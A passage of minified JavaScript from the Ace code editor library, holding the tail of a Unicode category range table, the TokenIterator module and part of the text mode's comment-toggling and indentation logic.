873A882-A8B3A8F2-A8F7A8FBA90A-A925A930-A946A960-A97CA984-A9B2AA00-AA28AA40-AA42AA44-AA4BAA60-AA6FAA71-AA76AA7AAA80-AAAFAAB1AAB5AAB6AAB9-AABDAAC0AAC2AADBAADCABC0-ABE2AC00-D7A3D7B0-D7C6D7CB-D7FBF900-FA2DFA30-FA6DFA70-FAD9FB1DFB1F-FB28FB2A-FB36FB38-FB3CFB3EFB40FB41FB43FB44FB46-FBB1FBD3-FD3DFD50-FD8FFD92-FDC7FDF0-FDFBFE70-FE74FE76-FEFCFF66-FF6FFF71-FF9DFFA0-FFBEFFC2-FFC7FFCA-FFCFFFD2-FFD7FFDA-FFDC", M: "0300-036F0483-04890591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DE-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0903093C093E-094E0951-0955096209630981-098309BC09BE-09C409C709C809CB-09CD09D709E209E30A01-0A030A3C0A3E-0A420A470A480A4B-0A4D0A510A700A710A750A81-0A830ABC0ABE-0AC50AC7-0AC90ACB-0ACD0AE20AE30B01-0B030B3C0B3E-0B440B470B480B4B-0B4D0B560B570B620B630B820BBE-0BC20BC6-0BC80BCA-0BCD0BD70C01-0C030C3E-0C440C46-0C480C4A-0C4D0C550C560C620C630C820C830CBC0CBE-0CC40CC6-0CC80CCA-0CCD0CD50CD60CE20CE30D020D030D3E-0D440D46-0D480D4A-0D4D0D570D620D630D820D830DCA0DCF-0DD40DD60DD8-0DDF0DF20DF30E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F3E0F3F0F71-0F840F860F870F90-0F970F99-0FBC0FC6102B-103E1056-1059105E-10601062-10641067-106D1071-10741082-108D108F109A-109D135F1712-17141732-1734175217531772177317B6-17D317DD180B-180D18A91920-192B1930-193B19B0-19C019C819C91A17-1A1B1A55-1A5E1A60-1A7C1A7F1B00-1B041B34-1B441B6B-1B731B80-1B821BA1-1BAA1C24-1C371CD0-1CD21CD4-1CE81CED1CF21DC0-1DE61DFD-1DFF20D0-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66F-A672A67CA67DA6F0A6F1A802A806A80BA823-A827A880A881A8B4-A8C4A8E0-A8F1A926-A92DA947-A953A980-A983A9B3-A9C0AA29-AA36AA43AA4CAA4DAA7BAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE3-ABEAABECABEDFB1EFE00-FE0FFE20-FE26", Mn: "0300-036F0483-04870591-05BD05BF05C105C205C405C505C70610-061A064B-065E067006D6-06DC06DF-06E406E706E806EA-06ED07110730-074A07A6-07B007EB-07F30816-0819081B-08230825-08270829-082D0900-0902093C0941-0948094D0951-095509620963098109BC09C1-09C409CD09E209E30A010A020A3C0A410A420A470A480A4B-0A4D0A510A700A710A750A810A820ABC0AC1-0AC50AC70AC80ACD0AE20AE30B010B3C0B3F0B41-0B440B4D0B560B620B630B820BC00BCD0C3E-0C400C46-0C480C4A-0C4D0C550C560C620C630CBC0CBF0CC60CCC0CCD0CE20CE30D41-0D440D4D0D620D630DCA0DD2-0DD40DD60E310E34-0E3A0E47-0E4E0EB10EB4-0EB90EBB0EBC0EC8-0ECD0F180F190F350F370F390F71-0F7E0F80-0F840F860F870F90-0F970F99-0FBC0FC6102D-10301032-10371039103A103D103E10581059105E-10601071-1074108210851086108D109D135F1712-17141732-1734175217531772177317B7-17BD17C617C9-17D317DD180B-180D18A91920-19221927192819321939-193B1A171A181A561A58-1A5E1A601A621A65-1A6C1A73-1A7C1A7F1B00-1B031B341B36-1B3A1B3C1B421B6B-1B731B801B811BA2-1BA51BA81BA91C2C-1C331C361C371CD0-1CD21CD4-1CE01CE2-1CE81CED1DC0-1DE61DFD-1DFF20D0-20DC20E120E5-20F02CEF-2CF12DE0-2DFF302A-302F3099309AA66FA67CA67DA6F0A6F1A802A806A80BA825A826A8C4A8E0-A8F1A926-A92DA947-A951A980-A982A9B3A9B6-A9B9A9BCAA29-AA2EAA31AA32AA35AA36AA43AA4CAAB0AAB2-AAB4AAB7AAB8AABEAABFAAC1ABE5ABE8ABEDFB1EFE00-FE0FFE20-FE26", Mc: "0903093E-09400949-094C094E0982098309BE-09C009C709C809CB09CC09D70A030A3E-0A400A830ABE-0AC00AC90ACB0ACC0B020B030B3E0B400B470B480B4B0B4C0B570BBE0BBF0BC10BC20BC6-0BC80BCA-0BCC0BD70C01-0C030C41-0C440C820C830CBE0CC0-0CC40CC70CC80CCA0CCB0CD50CD60D020D030D3E-0D400D46-0D480D4A-0D4C0D570D820D830DCF-0DD10DD8-0DDF0DF20DF30F3E0F3F0F7F102B102C10311038103B103C105610571062-10641067-106D108310841087-108C108F109A-109C17B617BE-17C517C717C81923-19261929-192B193019311933-193819B0-19C019C819C91A19-1A1B1A551A571A611A631A641A6D-1A721B041B351B3B1B3D-1B411B431B441B821BA11BA61BA71BAA1C24-1C2B1C341C351CE11CF2A823A824A827A880A881A8B4-A8C3A952A953A983A9B4A9B5A9BAA9BBA9BD-A9C0AA2FAA30AA33AA34AA4DAA7BABE3ABE4ABE6ABE7ABE9ABEAABEC", Me: "0488048906DE20DD-20E020E2-20E4A670-A672", N: "0030-003900B200B300B900BC-00BE0660-066906F0-06F907C0-07C90966-096F09E6-09EF09F4-09F90A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BF20C66-0C6F0C78-0C7E0CE6-0CEF0D66-0D750E50-0E590ED0-0ED90F20-0F331040-10491090-10991369-137C16EE-16F017E0-17E917F0-17F91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C5920702074-20792080-20892150-21822185-21892460-249B24EA-24FF2776-27932CFD30073021-30293038-303A3192-31953220-32293251-325F3280-328932B1-32BFA620-A629A6E6-A6EFA830-A835A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19", Nd: "0030-00390660-066906F0-06F907C0-07C90966-096F09E6-09EF0A66-0A6F0AE6-0AEF0B66-0B6F0BE6-0BEF0C66-0C6F0CE6-0CEF0D66-0D6F0E50-0E590ED0-0ED90F20-0F291040-10491090-109917E0-17E91810-18191946-194F19D0-19DA1A80-1A891A90-1A991B50-1B591BB0-1BB91C40-1C491C50-1C59A620-A629A8D0-A8D9A900-A909A9D0-A9D9AA50-AA59ABF0-ABF9FF10-FF19", Nl: "16EE-16F02160-21822185-218830073021-30293038-303AA6E6-A6EF", No: "00B200B300B900BC-00BE09F4-09F90BF0-0BF20C78-0C7E0D70-0D750F2A-0F331369-137C17F0-17F920702074-20792080-20892150-215F21892460-249B24EA-24FF2776-27932CFD3192-31953220-32293251-325F3280-328932B1-32BFA830-A835", P: "0021-00230025-002A002C-002F003A003B003F0040005B-005D005F007B007D00A100AB00B700BB00BF037E0387055A-055F0589058A05BE05C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F3A-0F3D0F850FD0-0FD4104A-104F10FB1361-13681400166D166E169B169C16EB-16ED1735173617D4-17D617D8-17DA1800-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD32010-20272030-20432045-20512053-205E207D207E208D208E2329232A2768-277527C527C627E6-27EF2983-299829D8-29DB29FC29FD2CF9-2CFC2CFE2CFF2E00-2E2E2E302E313001-30033008-30113014-301F3030303D30A030FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFD3EFD3FFE10-FE19FE30-FE52FE54-FE61FE63FE68FE6AFE6BFF01-FF03FF05-FF0AFF0C-FF0FFF1AFF1BFF1FFF20FF3B-FF3DFF3FFF5BFF5DFF5F-FF65", Pd: "002D058A05BE140018062010-20152E172E1A301C303030A0FE31FE32FE58FE63FF0D", Ps: "0028005B007B0F3A0F3C169B201A201E2045207D208D23292768276A276C276E27702772277427C527E627E827EA27EC27EE2983298529872989298B298D298F299129932995299729D829DA29FC2E222E242E262E283008300A300C300E3010301430163018301A301DFD3EFE17FE35FE37FE39FE3BFE3DFE3FFE41FE43FE47FE59FE5BFE5DFF08FF3BFF5BFF5FFF62", Pe: "0029005D007D0F3B0F3D169C2046207E208E232A2769276B276D276F27712773277527C627E727E927EB27ED27EF298429862988298A298C298E2990299229942996299829D929DB29FD2E232E252E272E293009300B300D300F3011301530173019301B301E301FFD3FFE18FE36FE38FE3AFE3CFE3EFE40FE42FE44FE48FE5AFE5CFE5EFF09FF3DFF5DFF60FF63", Pi: "00AB2018201B201C201F20392E022E042E092E0C2E1C2E20", Pf: "00BB2019201D203A2E032E052E0A2E0D2E1D2E21", Pc: "005F203F20402054FE33FE34FE4D-FE4FFF3F", Po: "0021-00230025-0027002A002C002E002F003A003B003F0040005C00A100B700BF037E0387055A-055F058905C005C305C605F305F40609060A060C060D061B061E061F066A-066D06D40700-070D07F7-07F90830-083E0964096509700DF40E4F0E5A0E5B0F04-0F120F850FD0-0FD4104A-104F10FB1361-1368166D166E16EB-16ED1735173617D4-17D617D8-17DA1800-18051807-180A1944194519DE19DF1A1E1A1F1AA0-1AA61AA8-1AAD1B5A-1B601C3B-1C3F1C7E1C7F1CD3201620172020-20272030-2038203B-203E2041-20432047-205120532055-205E2CF9-2CFC2CFE2CFF2E002E012E06-2E082E0B2E0E-2E162E182E192E1B2E1E2E1F2E2A-2E2E2E302E313001-3003303D30FBA4FEA4FFA60D-A60FA673A67EA6F2-A6F7A874-A877A8CEA8CFA8F8-A8FAA92EA92FA95FA9C1-A9CDA9DEA9DFAA5C-AA5FAADEAADFABEBFE10-FE16FE19FE30FE45FE46FE49-FE4CFE50-FE52FE54-FE57FE5F-FE61FE68FE6AFE6BFF01-FF03FF05-FF07FF0AFF0CFF0EFF0FFF1AFF1BFF1FFF20FF3CFF61FF64FF65", S: "0024002B003C-003E005E0060007C007E00A2-00A900AC00AE-00B100B400B600B800D700F702C2-02C502D2-02DF02E5-02EB02ED02EF-02FF03750384038503F604820606-0608060B060E060F06E906FD06FE07F609F209F309FA09FB0AF10B700BF3-0BFA0C7F0CF10CF20D790E3F0F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-139917DB194019E0-19FF1B61-1B6A1B74-1B7C1FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE20442052207A-207C208A-208C20A0-20B8210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B2140-2144214A-214D214F2190-2328232B-23E82400-24262440-244A249C-24E92500-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE27C0-27C427C7-27CA27CC27D0-27E527F0-29822999-29D729DC-29FB29FE-2B4C2B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F309B309C319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A700-A716A720A721A789A78AA828-A82BA836-A839AA77-AA79FB29FDFCFDFDFE62FE64-FE66FE69FF04FF0BFF1C-FF1EFF3EFF40FF5CFF5EFFE0-FFE6FFE8-FFEEFFFCFFFD", Sm: "002B003C-003E007C007E00AC00B100D700F703F60606-060820442052207A-207C208A-208C2140-2144214B2190-2194219A219B21A021A321A621AE21CE21CF21D221D421F4-22FF2308-230B23202321237C239B-23B323DC-23E125B725C125F8-25FF266F27C0-27C427C7-27CA27CC27D0-27E527F0-27FF2900-29822999-29D729DC-29FB29FE-2AFF2B30-2B442B47-2B4CFB29FE62FE64-FE66FF0BFF1C-FF1EFF5CFF5EFFE2FFE9-FFEC", Sc: "002400A2-00A5060B09F209F309FB0AF10BF90E3F17DB20A0-20B8A838FDFCFE69FF04FFE0FFE1FFE5FFE6", Sk: "005E006000A800AF00B400B802C2-02C502D2-02DF02E5-02EB02ED02EF-02FF0375038403851FBD1FBF-1FC11FCD-1FCF1FDD-1FDF1FED-1FEF1FFD1FFE309B309CA700-A716A720A721A789A78AFF3EFF40FFE3", So: "00A600A700A900AE00B000B60482060E060F06E906FD06FE07F609FA0B700BF3-0BF80BFA0C7F0CF10CF20D790F01-0F030F13-0F170F1A-0F1F0F340F360F380FBE-0FC50FC7-0FCC0FCE0FCF0FD5-0FD8109E109F13601390-1399194019E0-19FF1B61-1B6A1B74-1B7C210021012103-21062108210921142116-2118211E-2123212521272129212E213A213B214A214C214D214F2195-2199219C-219F21A121A221A421A521A7-21AD21AF-21CD21D021D121D321D5-21F32300-2307230C-231F2322-2328232B-237B237D-239A23B4-23DB23E2-23E82400-24262440-244A249C-24E92500-25B625B8-25C025C2-25F72600-266E2670-26CD26CF-26E126E326E8-26FF2701-27042706-2709270C-27272729-274B274D274F-27522756-275E2761-276727942798-27AF27B1-27BE2800-28FF2B00-2B2F2B452B462B50-2B592CE5-2CEA2E80-2E992E9B-2EF32F00-2FD52FF0-2FFB300430123013302030363037303E303F319031913196-319F31C0-31E33200-321E322A-32503260-327F328A-32B032C0-32FE3300-33FF4DC0-4DFFA490-A4C6A828-A82BA836A837A839AA77-AA79FDFDFFE4FFE8FFEDFFEEFFFCFFFD", Z: "002000A01680180E2000-200A20282029202F205F3000", Zs: "002000A01680180E2000-200A202F205F3000", Zl: "2028", Zp: "2029", C: "0000-001F007F-009F00AD03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-0605061C061D0620065F06DD070E070F074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17B417B517DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF200B-200F202A-202E2060-206F20722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-F8FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFD-FF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFFBFFFEFFFF", Cc: "0000-001F007F-009F", Cf: "00AD0600-060306DD070F17B417B5200B-200F202A-202E2060-2064206A-206FFEFFFFF9-FFFB", Co: "E000-F8FF", Cs: "D800-DFFF", Cn: "03780379037F-0383038B038D03A20526-05300557055805600588058B-059005C8-05CF05EB-05EF05F5-05FF06040605061C061D0620065F070E074B074C07B2-07BF07FB-07FF082E082F083F-08FF093A093B094F095609570973-097809800984098D098E0991099209A909B109B3-09B509BA09BB09C509C609C909CA09CF-09D609D8-09DB09DE09E409E509FC-0A000A040A0B-0A0E0A110A120A290A310A340A370A3A0A3B0A3D0A43-0A460A490A4A0A4E-0A500A52-0A580A5D0A5F-0A650A76-0A800A840A8E0A920AA90AB10AB40ABA0ABB0AC60ACA0ACE0ACF0AD1-0ADF0AE40AE50AF00AF2-0B000B040B0D0B0E0B110B120B290B310B340B3A0B3B0B450B460B490B4A0B4E-0B550B58-0B5B0B5E0B640B650B72-0B810B840B8B-0B8D0B910B96-0B980B9B0B9D0BA0-0BA20BA5-0BA70BAB-0BAD0BBA-0BBD0BC3-0BC50BC90BCE0BCF0BD1-0BD60BD8-0BE50BFB-0C000C040C0D0C110C290C340C3A-0C3C0C450C490C4E-0C540C570C5A-0C5F0C640C650C70-0C770C800C810C840C8D0C910CA90CB40CBA0CBB0CC50CC90CCE-0CD40CD7-0CDD0CDF0CE40CE50CF00CF3-0D010D040D0D0D110D290D3A-0D3C0D450D490D4E-0D560D58-0D5F0D640D650D76-0D780D800D810D840D97-0D990DB20DBC0DBE0DBF0DC7-0DC90DCB-0DCE0DD50DD70DE0-0DF10DF5-0E000E3B-0E3E0E5C-0E800E830E850E860E890E8B0E8C0E8E-0E930E980EA00EA40EA60EA80EA90EAC0EBA0EBE0EBF0EC50EC70ECE0ECF0EDA0EDB0EDE-0EFF0F480F6D-0F700F8C-0F8F0F980FBD0FCD0FD9-0FFF10C6-10CF10FD-10FF1249124E124F12571259125E125F1289128E128F12B112B612B712BF12C112C612C712D7131113161317135B-135E137D-137F139A-139F13F5-13FF169D-169F16F1-16FF170D1715-171F1737-173F1754-175F176D17711774-177F17DE17DF17EA-17EF17FA-17FF180F181A-181F1878-187F18AB-18AF18F6-18FF191D-191F192C-192F193C-193F1941-1943196E196F1975-197F19AC-19AF19CA-19CF19DB-19DD1A1C1A1D1A5F1A7D1A7E1A8A-1A8F1A9A-1A9F1AAE-1AFF1B4C-1B4F1B7D-1B7F1BAB-1BAD1BBA-1BFF1C38-1C3A1C4A-1C4C1C80-1CCF1CF3-1CFF1DE7-1DFC1F161F171F1E1F1F1F461F471F4E1F4F1F581F5A1F5C1F5E1F7E1F7F1FB51FC51FD41FD51FDC1FF01FF11FF51FFF2065-206920722073208F2095-209F20B9-20CF20F1-20FF218A-218F23E9-23FF2427-243F244B-245F26CE26E226E4-26E727002705270A270B2728274C274E2753-2755275F27602795-279727B027BF27CB27CD-27CF2B4D-2B4F2B5A-2BFF2C2F2C5F2CF2-2CF82D26-2D2F2D66-2D6E2D70-2D7F2D97-2D9F2DA72DAF2DB72DBF2DC72DCF2DD72DDF2E32-2E7F2E9A2EF4-2EFF2FD6-2FEF2FFC-2FFF3040309730983100-3104312E-3130318F31B8-31BF31E4-31EF321F32FF4DB6-4DBF9FCC-9FFFA48D-A48FA4C7-A4CFA62C-A63FA660A661A674-A67BA698-A69FA6F8-A6FFA78D-A7FAA82C-A82FA83A-A83FA878-A87FA8C5-A8CDA8DA-A8DFA8FC-A8FFA954-A95EA97D-A97FA9CEA9DA-A9DDA9E0-A9FFAA37-AA3FAA4EAA4FAA5AAA5BAA7C-AA7FAAC3-AADAAAE0-ABBFABEEABEFABFA-ABFFD7A4-D7AFD7C7-D7CAD7FC-D7FFFA2EFA2FFA6EFA6FFADA-FAFFFB07-FB12FB18-FB1CFB37FB3DFB3FFB42FB45FBB2-FBD2FD40-FD4FFD90FD91FDC8-FDEFFDFEFDFFFE1A-FE1FFE27-FE2FFE53FE67FE6C-FE6FFE75FEFDFEFEFF00FFBF-FFC1FFC8FFC9FFD0FFD1FFD8FFD9FFDD-FFDFFFE7FFEF-FFF8FFFEFFFF" }); function addUnicodePackage (pack) { var codePoint = /\w{4}/g; for (var name in pack) exports.packages[name] = pack[name].replace(codePoint, "\\u$&"); } }); ace.define("ace/token_iterator",["require","exports","module"], function(require, exports, module) { "use strict"; var TokenIterator = function(session, initialRow, initialColumn) { this.$session = session; this.$row = initialRow; this.$rowTokens = session.getTokens(initialRow); var token = session.getTokenAt(initialRow, initialColumn); this.$tokenIndex = token ? token.index : -1; }; (function() { this.stepBackward = function() { this.$tokenIndex -= 1; while (this.$tokenIndex < 0) { this.$row -= 1; if (this.$row < 0) { this.$row = 0; return null; } this.$rowTokens = this.$session.getTokens(this.$row); this.$tokenIndex = this.$rowTokens.length - 1; } return this.$rowTokens[this.$tokenIndex]; }; this.stepForward = function() { this.$tokenIndex += 1; var rowCount; while (this.$tokenIndex >= this.$rowTokens.length) { this.$row += 1; if (!rowCount) rowCount = this.$session.getLength(); if (this.$row >= rowCount) { this.$row = rowCount - 1; return null; } this.$rowTokens = this.$session.getTokens(this.$row); this.$tokenIndex = 0; } return this.$rowTokens[this.$tokenIndex]; }; this.getCurrentToken = function () { return this.$rowTokens[this.$tokenIndex]; }; this.getCurrentTokenRow = function () { return this.$row; }; this.getCurrentTokenColumn = function() { var rowTokens = this.$rowTokens; var tokenIndex = this.$tokenIndex; var column = rowTokens[tokenIndex].start; if (column !== undefined) return column; column = 0; while (tokenIndex > 0) { tokenIndex -= 1; column += rowTokens[tokenIndex].value.length; } return column; }; this.getCurrentTokenPosition = function() { return {row: this.$row, column: this.getCurrentTokenColumn()}; }; }).call(TokenIterator.prototype); exports.TokenIterator = TokenIterator; }); ace.define("ace/mode/text",["require","exports","module","ace/tokenizer","ace/mode/text_highlight_rules","ace/mode/behaviour","ace/unicode","ace/lib/lang","ace/token_iterator","ace/range"], function(require, exports, module) { "use strict"; var Tokenizer = require("../tokenizer").Tokenizer; var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules; var Behaviour = require("./behaviour").Behaviour; var unicode = require("../unicode"); var lang = require("../lib/lang"); var TokenIterator = require("../token_iterator").TokenIterator; var Range = require("../range").Range; var Mode = function() { this.HighlightRules = TextHighlightRules; this.$behaviour = new Behaviour(); }; (function() { this.tokenRe = new RegExp("^[" + unicode.packages.L + unicode.packages.Mn + unicode.packages.Mc + unicode.packages.Nd + unicode.packages.Pc + "\\$_]+", "g" ); this.nonTokenRe = new RegExp("^(?:[^" + unicode.packages.L + unicode.packages.Mn + unicode.packages.Mc + unicode.packages.Nd + unicode.packages.Pc + "\\$_]|\\s])+", "g" ); this.getTokenizer = function() { if (!this.$tokenizer) { this.$highlightRules = this.$highlightRules || new this.HighlightRules(); this.$tokenizer = new Tokenizer(this.$highlightRules.getRules()); } return this.$tokenizer; }; this.lineCommentStart = ""; this.blockComment = ""; this.toggleCommentLines = function(state, session, startRow, endRow) { var doc = session.doc; var ignoreBlankLines = true; var shouldRemove = true; var minIndent = Infinity; var tabSize = session.getTabSize(); var insertAtTabStop = false; if (!this.lineCommentStart) { if (!this.blockComment) return false; var lineCommentStart = this.blockComment.start; var lineCommentEnd = this.blockComment.end; var regexpStart = new RegExp("^(\\s*)(?:" + lang.escapeRegExp(lineCommentStart) + ")"); var regexpEnd = new RegExp("(?:" + lang.escapeRegExp(lineCommentEnd) + ")\\s*$"); var comment = function(line, i) { if (testRemove(line, i)) return; if (!ignoreBlankLines || /\S/.test(line)) { doc.insertInLine({row: i, column: line.length}, lineCommentEnd); doc.insertInLine({row: i, column: minIndent}, lineCommentStart); } }; var uncomment = function(line, i) { var m; if (m = line.match(regexpEnd)) doc.removeInLine(i, line.length - m[0].length, line.length); if (m = line.match(regexpStart)) doc.removeInLine(i, m[1].length, m[0].length); }; var testRemove = function(line, row) { if (regexpStart.test(line)) return true; var tokens = session.getTokens(row); for (var i = 0; i < tokens.length; i++) { if (tokens[i].type === "comment") return true; } }; } else { if (Array.isArray(this.lineCommentStart)) { var regexpStart = this.lineCommentStart.map(lang.escapeRegExp).join("|"); var lineCommentStart = this.lineCommentStart[0]; } else { var regexpStart = lang.escapeRegExp(this.lineCommentStart); var lineCommentStart = this.lineCommentStart; } regexpStart = new RegExp("^(\\s*)(?:" + regexpStart + ") ?"); insertAtTabStop = session.getUseSoftTabs(); var uncomment = function(line, i) { var m = line.match(regexpStart); if (!m) return; var start = m[1].length, end = m[0].length; if (!shouldInsertSpace(line, start, end) && m[0][end - 1] == " ") end--; doc.removeInLine(i, start, end); }; var commentWithSpace = lineCommentStart + " "; var comment = function(line, i) { if (!ignoreBlankLines || /\S/.test(line)) { if (shouldInsertSpace(line, minIndent, minIndent)) doc.insertInLine({row: i, column: minIndent}, commentWithSpace); else doc.insertInLine({row: i, column: minIndent}, lineCommentStart); } }; var testRemove = function(line, i) { return regexpStart.test(line); }; var shouldInsertSpace = function(line, before, after) { var spaces = 0; while (before-- && line.charAt(before) == " ") spaces++; if (spaces % tabSize != 0) return false; var spaces = 0; while (line.charAt(after++) == " ") spaces++; if (tabSize > 2) return spaces % tabSize != tabSize - 1; else return spaces % tabSize == 0; return true; }; } function iter(fun) { for (var i = startRow; i <= endRow; i++) fun(doc.getLine(i), i); } var minEmptyLength = Infinity; iter(function(line, i) { var indent = line.search(/\S/); if (indent !== -1) { if (indent < minIndent) minIndent = indent; if (shouldRemove && !testRemove(line, i)) shouldRemove = false; } else if (minEmptyLength > line.length) { minEmptyLength = line.length; } }); if (minIndent == Infinity) { minIndent = minEmptyLength; ignoreBlankLines = false; shouldRemove = false; } if (insertAtTabStop && minIndent % tabSize != 0) minIndent = Math.floor(minIndent / tabSize) * tabSize; iter(shouldRemove ? uncomment : comment); }; this.toggleBlockComment = function(state, session, range, cursor) { var comment = this.blockComment; if (!comment) return; if (!comment.start && comment[0]) comment = comment[0]; var iterator = new TokenIterator(session, cursor.row, cursor.column); var token = iterator.getCurrentToken(); var sel = session.selection; var initialRange = session.selection.toOrientedRange(); var startRow, colDiff; if (token && /comment/.test(token.type)) { var startRange, endRange; while (token && /comment/.test(token.type)) { var i = token.value.indexOf(comment.start); if (i != -1) { var row = iterator.getCurrentTokenRow(); var column = iterator.getCurrentTokenColumn() + i; startRange = new Range(row, column, row, column + comment.start.length); break; } token = iterator.stepBackward(); } var iterator = new TokenIterator(session, cursor.row, cursor.column); var token = iterator.getCurrentToken(); while (token && /comment/.test(token.type)) { var i = token.value.indexOf(comment.end); if (i != -1) { var row = iterator.getCurrentTokenRow(); var column = iterator.getCurrentTokenColumn() + i; endRange = new Range(row, column, row, column + comment.end.length); break; } token = iterator.stepForward(); } if (endRange) session.remove(endRange); if (startRange) { session.remove(startRange); startRow = startRange.start.row; colDiff = -comment.start.length; } } else { colDiff = comment.start.length; startRow = range.start.row; session.insert(range.end, comment.end); session.insert(range.start, comment.start); } if (initialRange.start.row == startRow) initialRange.start.column += colDiff; if (initialRange.end.row == startRow) initialRange.end.column += colDiff; session.selection.fromOrientedRange(initialRange); }; this.getNextLineIndent = function(state, line, tab) { return this.$getIndent(line); }; this.checkOutdent = function(state, line, input) { return false; }; this.autoOutdent = function(state, doc, row) { }; this.$getIndent = function(line) { return line.match(/^\s*/)[0]; }; this.createWorker = function(session) { return null; }; this.createModeDelegates = function (mapping) { this.$embeds = []; this.$modes = {}; for (var i in mapping) { if (mapping[i]) { this.$embeds.push(i); this.$modes[i] = new mapping[i](); } } var delegations = ["toggleBlockComment", "toggleCommentLines", "getNextLineIndent", "checkOutdent", "autoOutdent", "transformAction", "getCompletions"]; for (var i = 0; i < delegations.length; i++) { (function(scope) { var functionName = delegations[i]; var defaultHandler = scope[functionName]; scope[delegations[i]] = function() { return this.$delegator(functionName, arguments, defaultHandler); }; }(this)); } }; this.$delegator = function(method, args, defaultHandler) { var state = args[0]; if (typeof state != "string") state = state[0]; for (var i = 0; i < this.$embeds.length; i++) { if (!this.$modes[this.$embeds[i]]) continue; var split = state.split(this.$embeds[i]); if (!split[0] && split[1]) { args[0] = split[1]; var mode = this.$modes[this.$embeds[i]]; return 